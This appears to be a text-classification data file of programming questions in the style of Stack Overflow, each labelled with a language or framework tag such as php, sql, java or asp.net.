readonly fields in wcf  i have a class like below   <pre><code>[datacontract] public class order {    [datamember]    int orderid    [datamember]    string productcode    [datamember]    double quantity    [datamember]    decimal amounttopay  } </code></pre>   is it possible to have amounttopay field as readonly(as it will be calculated backend)  so that clients wont be able to set it     i know the calculation can override what is set by the client but i think its much neater if the client is not able to set it.,.net
php - detect the character encoding of the file system  how to detect the character encoding of the file system that your script is currently running on weither it is on windows or linux     i have a form in wich the user will upload a file and give it a name. once uploaded and moved to the disired destination  files that have names like :   <pre><code>wéîrd nàmès </code></pre>   will be saved with names like :   <pre><code>wã©ã®r nã mã¨s </code></pre>   i tried <code>iconv</code> and <code>mb_convert_encoding</code> but i couldn t find out wich character encoding to use.    i don t want to detect the character encoding of the file itself. i want to detect the character encoding wich i will uses to save the file.    this is the php used to upload files :   <pre><code>mkdir ($webdir .  /files/location/  . $doc_name .  / );  if (!move_uploaded_file ($_files[ docx_file ][ tmp_name ]  $webdir .  /files/location/  . $doc_name .  /  . $doc_name .  .docx )){     echo  docx upload failed miserably.. ;     rmdir($webdir .  /files/location/  . $doc_name .  / ); }else{     echo  docx upload completed successfully! ; } </code></pre>   let s say that the file name is <strong>dédé</strong>    first i create the folder <code>$webdir .  /files/location/dédé </code>    then i move the uploaded file to <code>$webdir .  /files/location/dédé/dédé.docx </code>    if an error occurs while moving the file (wich doesn t happen) i delete the folder that i reacently created.    everything goes well exept for the folder and file names wich will be saved as <strong>dã©dã©</strong> . both of them.    i tried this before running the above script :   <pre><code>echo $doc_name .  \r\n ; echo (mb_detect_encoding($doc_name)) .  \r\n ; </code></pre>   and it gave me this result :   <pre><code>dédé utf-8 docx upload completed successfully! </code></pre>   can anyone help please.    <strong>edit</strong>    i added this before running the above script :   <pre><code>echo $doc_name .  \r\n ; echo (mb_detect_encoding($doc_name)) .  \r\n ;  $doc_name =  (mb_convert_encoding($doc_name   utf-8    ascii ));  echo $doc_name .  \r\n ; echo (mb_detect_encoding($doc_name)) .  \r\n ; </code></pre>   <code>$doc_name</code> have <strong>dédé</strong> inside it and is encoded in <strong>utf-8</strong>.    first it shows this :   <pre><code>dédé utf-8 </code></pre>   then i use <code>mb_convert_encoding</code> to convert it from <strong>ascii</strong> to <strong>utf-8</strong> and it shows this :   <pre><code>dã©dã© utf-8 </code></pre>   wich is exactly the file names used instead of <strong>dédé</strong>    is it possible that <code>mkdir</code> and <code>move_uploaded_file</code> are automatically converting the strings from <strong>ascii</strong> to <strong>utf-8</strong> before saving  is it possible that i have runned some function that makes this possible  i have a really long script running before this one and i can t really put it all here.,php
sqldependancy does not work  i am trying to create a sqldependency for enterprise library  there is something strange that onchange event never fired. <br /> <br />  for sqlserver2005: <br />service broker is enabled. <br />clr integration is enabled. <br />    the query is a simple select statement on user defined table  the query is wrapped in sproc. <br />     i have been told that i should find the notification status in sys.transmission_queue table  but it is empty  it seems that no notifications were made.    what is chances     thanks,.net
custom runloop mode  what am i doing wrong here   what am i missing    <pre><code>- (void)scheduletimer {     nstimer *timer = [nstimer timerwithtimeinterval:0.15                                              target:self                                            selector:@selector(wtf:)                                            userinfo:nil                                             repeats:no];      // this works fine //  [[nsrunloop currentrunloop] addtimer:timer //                               formode:nsdefaultrunloopmode];      // this doesn t work at all - how come      [[nsrunloop currentrunloop] addtimer:timer                                  formode:@ mycustomrunloopmode ];    } - (void)wtf:(nstimer *)atimer {     nslog(@ wtf ); } </code></pre>   the documentation for nsrunloop seems to indicate one can create custom runloop modes. am i missing something     (this is on the main thread of a standard gui application in mac os x)   <hr>   update: notice that i mentioned this was on the main thread of a standard application.  therefore  i m not running the runloop myself. it s all being handled by nsapplication.,objective-c
why is it possible to create object in main method of its own class   as we know we can t create obj of any class until and unless the definition of the class   is complete. so how are we able to create obj in main method of its own class    <pre><code>class test {     public static void main(string args[])     {         test test=new test();  //yet class definition of test class is not completed still it is permitted! why      } } </code></pre>,java
to check the combination of pressed buttons  i have 4 buttons (a1  a2  b1  b2). they can combinate: a1-b1; a1-b2; a2-b1; a2-b2.it means that  a1  and  a2  cann t be chosen together. so after clicking  a1  i need to block  a2 .and depends on what 2 buttons were pressed  it will be differenet actions.i tried something like this   <pre><code>if(a1.ispressed()|| b1.ispressed()){ a2.setclickable(false); b2.setclickable(false);} </code></pre>   but it didn t work.   <h1>update:</h1>   i tried to add boolean variable a1boolean = false;     boolean a2boolean = false; and after each click `a1.setonclicklistener(new view.onclicklistener() {   <pre><code>        @override         public void onclick(view v) {             a1boolean = true;` </code></pre>   and then to check in the method     <code>private boolean geta1_b1() {         if (a1boolean || b1boolean) {             a2.setclickable(false);             b2.setclickable(false);             }         return true;     }</code>    but when i call this method before all these clicks  of corse  it didn t work  because i didn t press any buttons yet. any ideas how to find a right decision,android
how do i set up a test cert for an ssl connection in .net   i would like to create an ssl connection for generic tcp communication.  i think i figured out how to do it in the code  using the info here: <a href= http://msdn.microsoft.com/en-us/library/system.net.security.sslstream.aspx  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/system.net.security.sslstream.aspx</a> what i m having trouble with is creating a cert so i can test this out.  i tried makecert.exe testcert  and that created a cert  but apparently it doesn t have a private key associated with it.  so what i m looking for is the simplest procedure to create a cert and get the connection to work.,.net
sql relational query help student do sport  im doing a test exam where i ve gotten stuck on one particular query  in both its sql code  relational algebra and tuple relational calculus.    here scenario.    i have 3 tables    <h1>student (reg_no  name  address)</h1>  <h2>heading</h2>  <h1>sport (sportid  title)</h1>  <h1>student_sport(reg_no sportid year capacity)</h1>   in capacity field values are captain  vice captain  member    i want to get list of sport that has no captains.    any one help me,sql
image and text alignment of mail template on different mail browsers and mail clients  i need help  actually i am working on an html email template.    my problem is the text and image alignment of mail template is not coming  properly in yahoo mail while opening in chrome browser(working fine in ie).    so i tried to fix by assigning  width size along with style as follows: <code>width= 100%   style= table-layout:fixed </code> for table tag.    now what is happening email template text and image alignment in  yahoo mail in chrome browser is working properly but not in ie.    can please anyone tell the fix so that image and text alignment for all browser and mail clients should work properly.,html
sql select from the column and show specific output based on values in the column  i have a scenario where i need to show specific value in new column if i find any specific value( i.e open  close wip then open) and if status =closed then show closed     data :   <pre><code>id  subid  status  1    5     new 1    6     close 1    7     wip 2    22    closed </code></pre>   output i want to get    <pre><code>id  status 1    open 2    closed </code></pre>,sql
problems converting an nsstring to a double value  i cannot understand why i am getting the results below  any help will be appreciated.   <pre><code>nsstring  *amountstring =@ 9 376.41 ; double  amount = [amountstring doublevalue]; nslog(@ my amount %f  amount); my amount 9.000000 </code></pre>,ios
how to create waiting window ( like dialog box )  in my application i need to send some information to server.  this action take time - and i want to show some  waiting sign  in the meanwhile.  in the main activity i dont have any place to add progess bar that will show the  waiting  - so i want to pop up something like dialog box that will show the waiting process.     how to pop up / create this dialog box ( light box ),android
how to generate random even numbers between a given interval   i want to get a set of random even numbers between 50 and 100  and this is what i wrote:   <pre><code>    int x;     x=(2*(50+rand()%(100-50+1))); </code></pre>   when i output this  i get  186 166 112 190 150 160 146 104 194 168 194 178 102 200 192 130 168 134 146 184 136    which are not in between 50 and 100...why     thanks for helping me!,c++
how to print <dummytext> inside html tag using javascript   i need to show  &lt;>  symbols for my string  dummytext . when i run and inspect the element  it converted to be dom element in html like . this is the code i am trying to do   <pre><code>&lt;p&gt;&lt;a href=   title= survey link &gt;&lt;dummytext&gt;&lt;/a&gt;&lt;/p&gt; </code></pre>,html
totals for all fields in a database  is there a way to run and sql query that will return the total for all fields in a database on a field by field basis     ideally the query would sum numeric and date fields and count text fields.    i.e.     table 1   <pre><code>amount1 amount2  text1 10        25      aaa 25        50      bbb 30        25      null </code></pre>   results   <pre><code>table1  amount1 65 table1  amount2 100 table1  text1  2 </code></pre>   this would need to repeat for all fields in all tables.,sql
is it okay to store double and date in varchar on mysql  if it is how can i query on double and date  i mean there has to be a way to cast them back and them sort them for example.,mysql
how do i add a new column based on a formula   there is a table named  position  in my database.  following is the create table statement for it:   <pre><code>create table position(   position_id int primary key not null    position_name varchar(15) unique not null    base_salary decimal (10 2)    base_billing_hours_per_quarter int (5) not null    billing_rate varchar (5)    );   </code></pre>   i am supposed to add the following constraint to this table:    a new column called salarymultiplier should be specified to the table. the content of the salary multiplier column should contain the outcome of the following equation:   <pre><code>`salarymultiplier = (basebillinghoursperquarter*billingrate)/(basesalary/4)` </code></pre>   the sample data for the columns are given below   <pre><code>position id = 1  position= drafter  basesalary= $32000     basebillinghoursperquater= 260   billingrate= $40 </code></pre>   how do i create the column and populate it with the proper value,mysql
replacing each string of one or more spaces and/or tabs by a single space  so this is my code so far  i am trying to replaces multiple spaces and tabs into single space. the input is multiple lines with multiple tabs and spaces (including mix tab and spaces sentence). i am stuck after writing this much:   <pre><code>#include &lt;stdio.h&gt; #define nonblank  a  main(){ int c  lastc;  lastc = nonblank;  while (( c = getchar()) !=eof) {     if (c !=     || lastc !=   ){         if (c !=  \t  || lastc != \t ){                  putchar(c);             lastc = c;}              }         }        } } </code></pre>,c
how to avoid undefined index warning for chains of  default  values   let s say i want to check for a couple of different parameters  and then fall back to a default value  is there a way to do it without ugly and verbose writing of <code>isset()</code>     for example in js we can do:    <code>var somevariable = othervar || anothervar ||  fallback here ;</code>    the equivalent in php would be something like:    <code>$somevariable = (isset($othervar)   $othervar : (isset($anothervar)   $anothervar :  fallback here ));</code>    which is obviously a mess and horrible to read.    lots of solutions exist for single fallbacks  i.e.:    <code>$somevariable = $othervar  :  fallback here ;</code>    but that doesn t help me with requiring more than one in the line of checks.    given that i am only interested in whether or not the value is set or truth-y (i.e. i am happy for 1 to be accepted as the used value  and for 0/false/null to be skipped and for the next parameter in the chain to be used)  what is the best way to avoid the undefined index warning     in reality  i would be doing this on arrays in <em>most</em> cases  but not all  and it s probably that they will be different arrays. i may want to use $_post for the first  then check $_get under a different key  and then fall back to a default string for example.,php
can t get new value from a text box in side a gridview  hello i m doing a school project and i m stuck on a problem any help would be great    i have a shopping cart gridview that has a text box quantity where a user can change quantity value for some reason it is not getting the new value just the old value thank you!   <pre><code>&lt;div class= container &gt;             &lt;h1&gt;shopping cart&lt;/h1&gt;             &lt;a href= default.aspx &gt;&amp;lt; back to products&lt;/a&gt;             &lt;br /&gt;&lt;br /&gt;         &lt;asp:label id= label2  runat= server  &gt;&lt;/asp:label&gt;         &lt;asp:label id= label3  runat= server  &gt;&lt;/asp:label&gt;             &lt;asp:gridview runat= server  id= gvshoppingcart  autogeneratecolumns= false  emptydatatext= there is nothing in your shopping cart.  gridlines= none  width= 100%  cellpadding= 5  showfooter= true  datakeynames= productid  onrowdatabound= gvshoppingcart_rowdatabound  onrowdeleting= grdcart_rowdeleting  &gt;                 &lt;headerstyle horizontalalign= left  backcolor= #3d7169  forecolor= #ffffff  /&gt;                 &lt;footerstyle horizontalalign= right  backcolor= #6c6b66  forecolor= #ffffff  /&gt;                 &lt;alternatingrowstyle backcolor= #f8f8f8  /&gt;                 &lt;columns&gt;                     &lt;asp:boundfield datafield= productname  headertext= brand  /&gt;                     &lt;asp:templatefield headertext= quantity &gt;                         &lt;itemtemplate&gt;                             &lt;asp:textbox runat= server  id= txtquantity  columns= 5  text= &lt;%# eval( quantity ) %&gt; &gt;&lt;/asp:textbox&gt;&lt;br /&gt;                                                     &lt;/itemtemplate&gt;                     &lt;/asp:templatefield&gt;                     &lt;asp:boundfield datafield= price  headertext= price  itemstyle-horizontalalign= right  headerstyle-horizontalalign= right  dataformatstring= {0:c}   /&gt;                     &lt;asp:boundfield datafield= subtotal  headertext= total  itemstyle-horizontalalign= right  headerstyle-horizontalalign= right  dataformatstring= {0:c}  /&gt;                     &lt;asp:commandfield showdeletebutton= true  /&gt;                 &lt;/columns&gt;             &lt;/asp:gridview&gt;             &lt;br /&gt;             &lt;asp:button runat= server  id= btnupdatecart  text= update cart  onclick= btnupdatecart_click  /&gt;&lt;br /&gt;             &lt;asp:button id= btnclose2  runat= server  text= close  width= 50px  /&gt;         &lt;/div&gt; </code></pre>   the code behind   <pre><code>protected void btnupdatecart_click(object sender  eventargs e)     {         foreach (gridviewrow row in gvshoppingcart.rows)         {             if (row.rowtype == datacontrolrowtype.datarow)             {                 // we ll use a try catch block in case something other than a number is typed in                 // if so  we ll just ignore it.                 try                 {                     // get the productid from the gridview s datakeys                     int productid = convert.toint32(gvshoppingcart.datakeys[row.rowindex].value);                     label2.text = productid.tostring();                     // find the quantity textbox and retrieve the value                     int quantity = int.parse(((textbox)row.cells[1].findcontrol( txtquantity )).text);                      label3.text = quantity.tostring();                     shoppingcart.cart.instance.setitemquantity(productid  quantity);                     binddata();                 }                 catch (formatexception) { }             }         }          mpe2.show();     } </code></pre>,asp.net
play mp3 from after saving it locally on iphone  i want to play an mp3 song which first will be downloaded locally and then it will be played.    i have written following code:   <pre><code>nsurl *url = [nsurl urlwithstring:[songurl stringbyaddingpercentescapesusingencoding:nsutf8stringencoding]];     nsmutableurlrequest *request = [nsmutableurlrequest requestwithurl:url cachepolicy:nsurlrequestreloadignoringlocalcachedata timeoutinterval:60.0]; [request sethttpmethod:@ post ]; nsurlresponse *response;         nserror *error; nsdata* result = [nsurlconnection sendsynchronousrequest:request returningresponse:&amp;response error:&amp;error]; nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory   nsuserdomainmask  yes); nsstring *pathforsoundfile  = [[paths objectatindex:0] stringbyappendingstring:[nsstring stringwithformat:@ /my.mp3 ]]; nslog(@ %@  pathforsoundfile);  nsurl *myurl = [nsurl fileurlwithpath:[nsstring stringwithformat:@ %@  pathforsoundfile]];  [self  playpreviewmethod];  -(void)playpreviewmethod {     [songpreview play]; } </code></pre>   what i guess is that the file is not downloaded or converted in the mp3 format.,iphone
visibility control of the variables <pre><code>package array; public class arraylesson1 {     static int[] array = { 10  20  30  40 };     public static void main(string[] args) {         int i = 0;         system.out.println( while loop result );         while (i &lt; 4) {             int c = array[i] * array[i];             system.out.println( resutl =   + c);             i++;         }         subclass obj = new subclass();         obj.loopj();         obj.loopk();     } }  class subclass {     public static void loopj() {         for (int j = 0; j &lt; 4; j++) {             int result = array[j] * array[j];             system.out.println( for loop j result );             system.out.println( result =   + result);         }     }      static void loopk() {         for (int k = 0; k &lt; 4; k++) {             int result2 = array[k] + array[k];             system.out.println( for loop k result );             system.out.println( result =   + result2);         }     } } </code></pre>   from the above code  i couldn t access the  array  from the class  arraylesson1 .    below you can find the output:   <blockquote>    while loop result         resutl = 100        resutl = 400        resutl = 900        resutl = 1600   </blockquote>   i am getting below error.   <pre><code>exception in thread  main  java.lang.error: unresolved compilation problems:   array cannot be resolved to a variable  array cannot be resolved to a variable  at array.subclass.loopj(arraylesson1.java:40)    at array.arraylesson1.main(arraylesson1.java:25) </code></pre>,java
a generic error occurred in gdi+. while saving an image  dear expert i am getting an error while saving an image the code is as follows    <pre><code>  clsimagemanager objimgmanager = new clsimagemanager();   bitmap imagebitmap = objimgmanager.getbitmapfrombytes(imagedata);   response.contenttype =  image/tiff ;   imagebitmap.save(response.outputstream  imageformat.tiff);   imagebitmap.dispose();   response.end(); </code></pre>   when i used image.format.jpeg the code is working good but when i changes it to imageformat.tiff then i am getting an error <strong>a generic error occurred in gdi+.</strong>,asp.net
le bootstrap starter template  i m looking at <a href= http://twitter.github.com/bootstrap/examples/starter-template.html  rel= nofollow >bootstrap</a>  and i see all these comments like:   <pre><code>le styles le javascript </code></pre>   q: is that for the less framework  or are they just being french,css
python validation function returns nonetype <pre><code>print ( \n  * 100) def weight_rep():     rep = 0     try:         rep = int(input( how many times would you like to enter a weight \n ))         return rep     except valueerror:         print ( \n  * 100)         print( *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* )         print( you must enter a valid number that is:\n1) whole\n2) positive )         print( *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* )         weight_rep()         return rep  rep = weight_rep()  weight = []  for i in range (0  (rep)):     weightn = int(input( please input weight   + str(i+1) + :\n ))     weight.append(weightn)     print (weight[i]) mean = sum(weight)/int(len(weight)) print( the average weight of these fruits is {0:.2f}g .format(mean)) </code></pre>   if i enter a correct number at the first stage  this simple code carries on as expected  however  when i enter something which repeats the weight_rep() function and then enter something  the function returns nonetype,python
what exact retain means   i want to know what the following means. i have to release it  i did not allocate memory for it. method is also class method. any help    <pre><code>object = [[class method] retain]; </code></pre>,iphone
inject code into masterpage / html head from a user control  i am struggling with something that i guess should be standard practice really.  i have a number of user controls that use some jquery plugins.  i do not really want to link to the extra css and js files from my main masterpage as this would cause extra load to the user the first time they hit the site  (admittedly it would only be the once)  so i was just putting them links into the top of the user control.  then i looked at my source html  not nice!  even worse for controls that repeat multiple times on a page.    so i was thinking is there a way of injecting them into the head of the page when they are needed from the user control.  for that matter is there a way of doing it to the footer for js stuff,asp.net
c2440  =  cannot convert from  int  to  bst<int>::node*  <strong>bst.h</strong>   <pre><code>#include  stdafx.h  #include &lt;iostream&gt; #include &lt;cstddef&gt; #include &lt;string&gt; using namespace std;   #ifndef bst_h_ #define bst_h_  template &lt;class bstdata&gt; class bst { private: struct node {     bstdata data;     node* left;     node* right;      node() : left(null)  right(null){}     node(bstdata newdata) : left(null)  right(null)  data(newdata){} };  typedef struct node* nodeptr;  nodeptr root; int size;  /** private helper functions **/  void addvalue(nodeptr root  bstdata value); void printinorder(nodeptr root);   public: bst(); bool isempty(); int getsize(); void add(bstdata value); bstdata getroot(); void inorderprint();  };  /**public functions*/  template &lt;class bstdata&gt; bst&lt;bstdata&gt;::bst() : size(0)  root(null){};  template &lt;class bstdata&gt; void bst&lt;bstdata&gt;::add(bstdata value) { if (root == null) {     root = new node(value);     size++; } else     addvalue(root  value); }  template &lt;class bstdata&gt; void bst&lt;bstdata&gt;::addvalue(nodeptr root  bstdata value) { if (value == root-&gt;data)     return;  if (value &lt; root-&gt;data) {     if (root-&gt;left == null)     {         root-&gt;left = value;         size++;     } } else     addvalue(root-&gt; left  value);  if (root-&gt; right == null) {     root-&gt;left = value;     size++; } else     addvalue(root-&gt; right  value); }  template &lt;class bstdata&gt; bstdata bst&lt;bstdata&gt;::getroot() { if (size == 0)     cout &lt;&lt;  getroot: there is no root in the bst  &lt;&lt; endl; else     return root-&gt;data;  } #endif </code></pre>   <strong>bst.cpp</strong>   <pre><code>// bsttest.cpp : defines the entry point for the console application. //  #include  stdafx.h  #include  bst.h  #include &lt;iostream&gt; #include &lt;cstddef&gt; #include &lt;string&gt; using namespace std;   int main() {  bst&lt;int&gt; b;  b.add(5);  b.getroot();  return 0; } </code></pre>   so the error  the title of this post  i am getting happens twice. it is in the two lines that read: root->left = value; located in the addvalue function in the header file. i am not sure why i can not assign the value to the pointer left. if anyone could help that could be great.,c++
javascript: tracing a function parent object hierarchy  in order to call it from the window context  i have a 3rd-party page with a complex  semi-obfuscated script generated by webpack.  it eventually calls a function  buried deep inside some object within an object within an array  etc. when debugging it i can see the line where the function is called at  but i want to trace the entire object hierarchy so i can call this function from the window context.     when debugging and breakpointing the relevant line  i get the call stack  but this doesn t help me reverse-engineer the way i can call this function  since it s buried within objects and arrays.    is there any way to trace this backwards  for example  maybe have the function object print its parents      thanks in advance.,javascript
array of chars instead of string  everyone! i have some problems about strings and array of chars.i m  writing a  project about database based on b-tree  where keys are some class  something like this:   <pre><code>  string name;   double mark;   int phone_number; </code></pre>   so  i implement the insert function  but at the search function i have some problems   here is the search function:   <pre><code>node* btree::search(string x) {     node* p = root;     int i  j;     j = 0;     while( p )     {         cout &lt;&lt;  for iter:   &lt;&lt; j &lt;&lt; p-&gt;noofkeys &lt;&lt; endl;         for( i = 0; i &lt; p-&gt;noofkeys; i++ )             if(x == p-&gt;data[i].key.getname() )                 return(p);          p = p-&gt;nextindex(x);     }     return null;  } </code></pre>   and nextindex:   <pre><code>node* node::nextindex(string x) {     int i;     if( x &lt; data[0].key.getname())        return first;      for( i=0; i &lt; noofkeys; i++ ) {       if( x &lt; data[i].key.getname() || x == data[i].key.getname() )         return data[i-1].next;     }     return data[i-1].next; } </code></pre>   i m not sure but i this the problem is coming from camparing strings  but i don t know why  is it that they allocate diffrent space in memory and actually are difrrent object  is it good to use array of chars instead of string,c++
how to delete object from array that array contains dictionary  i m storing data in array like that..   <pre><code>while ([delegate_obj.recordsetmaster next])     {     nsmutabledictionary *local_dict = [nsmutabledictionary new];      nsstring *str_id = [delegate_obj.recordsetmaster stringforcolumn:@ category_id ];     [local_dict setobject:str_id forkey:@ category_id ];      nsstring *str_name = [delegate_obj.recordsetmaster stringforcolumn:@ category_name ];     [local_dict setobject:str_name forkey:@ category_name ];      nsstring *str_status = [delegate_obj.recordsetmaster stringforcolumn:@ status ];     [local_dict setobject:str_status forkey:@ status ];      nsstring *str_image = [delegate_obj.recordsetmaster stringforcolumn:@ image ];     [local_dict setobject:str_image forkey:@ image ];      [category_array addobject:local_dict];     } </code></pre>   now i want to delete 5th index value from array how to do this,ios
error parsing in php <pre><code>&lt; php  /* user info to access to db */  $db_host =   ;  $db_name =   ;  $db_user =  root ;  $db_pass =  root ;  /* create an object patient */  class patient {     public $name;     public $surname;     public $address;     public $birth_place;     public $province;     public $birth_date;     public $sex;     public $case;      public __construct($nm $sur $addr $bp $pr $bd $sx $cs) &lt;-- line 26     {         $this-&gt;name = $nm;         $this-&gt;surname = $sur;         $this-&gt;address = $addr;         $this-&gt;birth_place = $bp;         $this-&gt;province = $pr;         $this-&gt;birth_date = $bd;         $this-&gt;sex = $sx;         $this-&gt;case = $cs;     }  } </code></pre>    >    i get this error:   <pre><code>parse error: syntax error  unexpected t_string  expecting t_variable on line 26 </code></pre>   why  where is the mistake,php
how to insert value to an array based on if statement in python  i m trying to add value to an array in python.   <pre><code>def inputuser():      name.append(raw_input( enter name =  ))     age.append(raw_input( enter age =  ))     typeservice.append(raw_input( enter code of service type =  ))     action=raw_input( do you want to add another kitten =  )      while action !=  n :             name.append(raw_input( enter name =  ))         age.append(raw_input( enter age =  ))         typeservice.append(raw_input( enter code of service type =  ))         action=raw_input( do you want to add another kitten =  )  def calcfee():     for i in range(len(name)):         if age[i] &lt;= 5:             if typeservice[i] == 1:                 price.append(15)             elif typeservice[i] == 2:                 price.append(50)         elif age[i] &gt; 5:             if typeservice[i] == 1:                 price.append(20)             elif typeservice[i] == 2:                 price.append(60)  def display():      for i in range(len(name)):         print(name[i])         print(age[i])         print(typeservice[i])         print(price[i])  inputuser() display() </code></pre>   the array that i use are    <pre><code>name=[] age=[] typeservice=[] price=[] </code></pre>   the error is list index out of range for price. how do i add items to the array   only price array did not get the value. did i code it wrongly,python
what s the difference between hasattr() and  attribute  in dir()   for example:   <pre><code>&gt;&gt;&gt; s =  string  &gt;&gt;&gt; hasattr(s   join ) true &gt;&gt;&gt;  join  in dir(s) true </code></pre>   <a href= http://docs.python.org/3/library/functions.html#hasattr  rel= nofollow >python documentation</a> says that <code>hasattr</code> is implemented calling <code>getattr</code> and seeing whether it raises an exception or not. however  that leads to a great overhead  since the value obtained is discarded and an exception may be raised.    the question is if calling <code> attribute  in dir(obj)</code> means the same thing  is it faster  safe  or may it fail in a particular occasion,python
how can i make text behind an image before the image has loaded   often  i can see some text in an image s place before the image has been loaded. how can i do this myself,html
below code displays differently in chrome and ie <pre><code>    &lt;div class= wholediv &gt;        &lt;div class= rightdiv &gt;          &lt;strong&gt;your company name&lt;/strong&gt;&lt;br /&gt;          evergreen terrace 742&lt;br /&gt;          kansas missouri&lt;br /&gt;          phone: 432-653-3121&lt;br /&gt;          sales@thetiecompany.com   &lt;/div&gt;        &lt;div class= sitemap &gt;        &lt;a href= # &gt;home&lt;/a&gt;&amp;nbsp;|&amp;nbsp;&lt;a href= # &gt;sitemap&lt;/a&gt;&amp;nbsp;|&amp;nbsp;&lt;a href= # &gt;contact us&lt;/a&gt;&lt;/div&gt;        &lt;/div&gt; &lt;/div&gt;      div div.wholediv { height:97px; width:500px; float:left; background-color:#f0f0f0; } div div.sitemap {    background-color:#f0f0f0;   position:relative;   float:right;   width:200px;   height:87px;   padding-right:10px;   padding-top:10px;    font: 0.7em tahoma  sans-serif;  font-weight:bold;   } div div.rightdiv { float:left; position:static; background-color:#f0f0f0; width:200px; height:87px; padding-left:10px; padding-top:10px; font: 0.7em tahoma  sans-serif; } </code></pre>   ie displays like this. <img src= https://i.stack.imgur.com/7x7h2.jpg  alt= alt text > chrome displays like this. <img src= https://i.stack.imgur.com/quvhv.jpg  alt= alt text >,html
how do i change the output from being 1 2 3 4 5 to being first  second  etc.   how do i get my output to change from saying 1 2 3 4 5 to stating first  second  third  fourth  fifth  also  at the end when it declares which input is the minimum  how do i get it to say whether it was entry 1-5  not the actual input number    <pre><code>#include &lt;iostream&gt; using namespace std; int main() { int num[5]; int i = 0; int small=0;      cout &lt;&lt; enter the first number:  ;     cin &gt;&gt; num[0];     small = num[0];     {         for(i = 1; i &lt; 5; i++)              {              cout &lt;&lt;  enter the number  &lt;&lt; i + 1 &lt;&lt;  number:  ;              cin &gt;&gt; num[i];                 if (num[i] &lt; small)                              small = num[i];             }     } cout&lt;&lt;endl&lt;&lt;endl;    cout&lt;&lt; entry no.  &lt;&lt;small&lt;&lt;  is the minimum number &lt;&lt;endl&lt;&lt;endl;  return 0; } </code></pre>,c++
invoke parent control s event on child s  i have a scenario where i have a container control (basically a asp.net user control) and it has couple of child controls. i want the control to collectively determine lost focus event. for example i want the parent control to tell me it has focus only when any of the child control receives the focus and it should tell me that it lost the focus if all of the child control looses the focus.     as a simulation refer to the code below. if you run this sample  you would notice that when you click on blue rectangle  it would say blue focused  then if you click on the red one  it would say blue blur  red focused. what i need is when i click on any of them  it should tell me red focused and when i click outside it should click red blur.    could some one help me with this      thanks   <pre><code>&lt;head runat= server &gt; &lt;title&gt;untitled page&lt;/title&gt;    &lt;script type= text/javascript  language= javascript &gt;     function redfocus()   { alert( redfocus );   }     function bluefocus()  { alert( bluefocus );  }     function greenfocus() { alert( greenfocus ); }     function redblur()    { alert( redblur );    }     function blueblur()   { alert( blueblur );   }     function greenblur()  { alert( greenblur );  }   &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div onblur= redblur()  onfocus= redfocus()    style= background-color: red; width: 400px; height: 400px; &gt;   &lt;div onblur= blueblur()  onfocus= bluefocus()      style= background-color: blue; width: 200px; height: 200px; margin: 50px &gt;     &lt;div onblur= greenblur()  onfocus= greenfocus()        style= background-color: green; width: 100px; height: 100px; margin: 25px &gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
use of .on() without direct parent  how would i use <code>.on()</code> in jquery for an element that isn t a direct parent     <code>.live()</code> would look like this   <pre><code>$( .home_collapsibles ).find( .ui-collapsible-heading ).live( tap   function (event) {}); </code></pre>   with elements of   <pre><code>&lt;div data-role= collapsible-set  class= home_collapsibles ui-collapsible-set  data-theme= c  data-inset= false &gt;         &lt;div data-role= collapsible  data-collapsed= true  data-collapsed-icon= arrow-r  data-expanded-icon= arrow-d  data-iconpos= right  class= ui-collapsible ui-collapsible-collapsed &gt;         &lt;h3 class= ui-collapsible-heading ui-collapsible-heading-collapsed &gt;&lt;a href= #  class= ui-collapsible-heading-toggle ui-btn ui-btn-icon-right ui-btn-up-c  data-corners= false  data-shadow= false  data-iconshadow= true  data-wrapperels= span  data-icon= arrow-r  data-iconpos= right  data-theme= c &gt; </code></pre>   here is my js fiddle <a href= http://jsfiddle.net/jostster/wd6dd/  rel= nofollow >http://jsfiddle.net/jostster/wd6dd/</a>    <strong>edit:</strong> this seems to work <a href= http://jsfiddle.net/jostster/fnnnj/  rel= nofollow >http://jsfiddle.net/jostster/fnnnj/</a>  however i want to limit the listener to only in the <code>.home_collapsibles</code>,jquery
master page in asp.net  can any one tell me what is difference between <strong>master page</strong> and <strong>master pages</strong> in asp.net. is both are same or different. please help me. i have only few ideas here. please.......,asp.net
why am i getting a warning about  possible loss of precision  in java  <pre><code>class test {     public static void main(string[] args)     {          short s=2 s1=200 s2;          s2=s+s1; // error:  possible loss of precision           system.out.println(s2);     }  } </code></pre>   why does assigning the result of adding two shorts to a short cause a compile error,java
when a radio button is checked in one asp page the result has to be displayed in another asp page..how to do that..pls explain   radio button in one aspx page    should display result in another aspx page    where was 2012 olympics held  <br />   <pre><code>    &lt;form name= form1  action= resultpage.aspx  onclick= submit &gt;         &lt;input type= radio  name= vanpersie  id= a  value= paris  /&gt;paris&lt;br /&gt;         &lt;input type= radio  name= vanpersie  id= b  value= london  /&gt;london&lt;br /&gt;         &lt;input type= radio  name= vanpersie  id= c  value= rome  /&gt;rome&lt;br /&gt;         &lt;input type= submit  value= submit /&gt;. </code></pre>   above  code displays my first home page and it has to be redirected to another aspx page....so when..london is checked by the user it has to display  the  correct answer and i.e. london ..how to design the result page...,asp.net
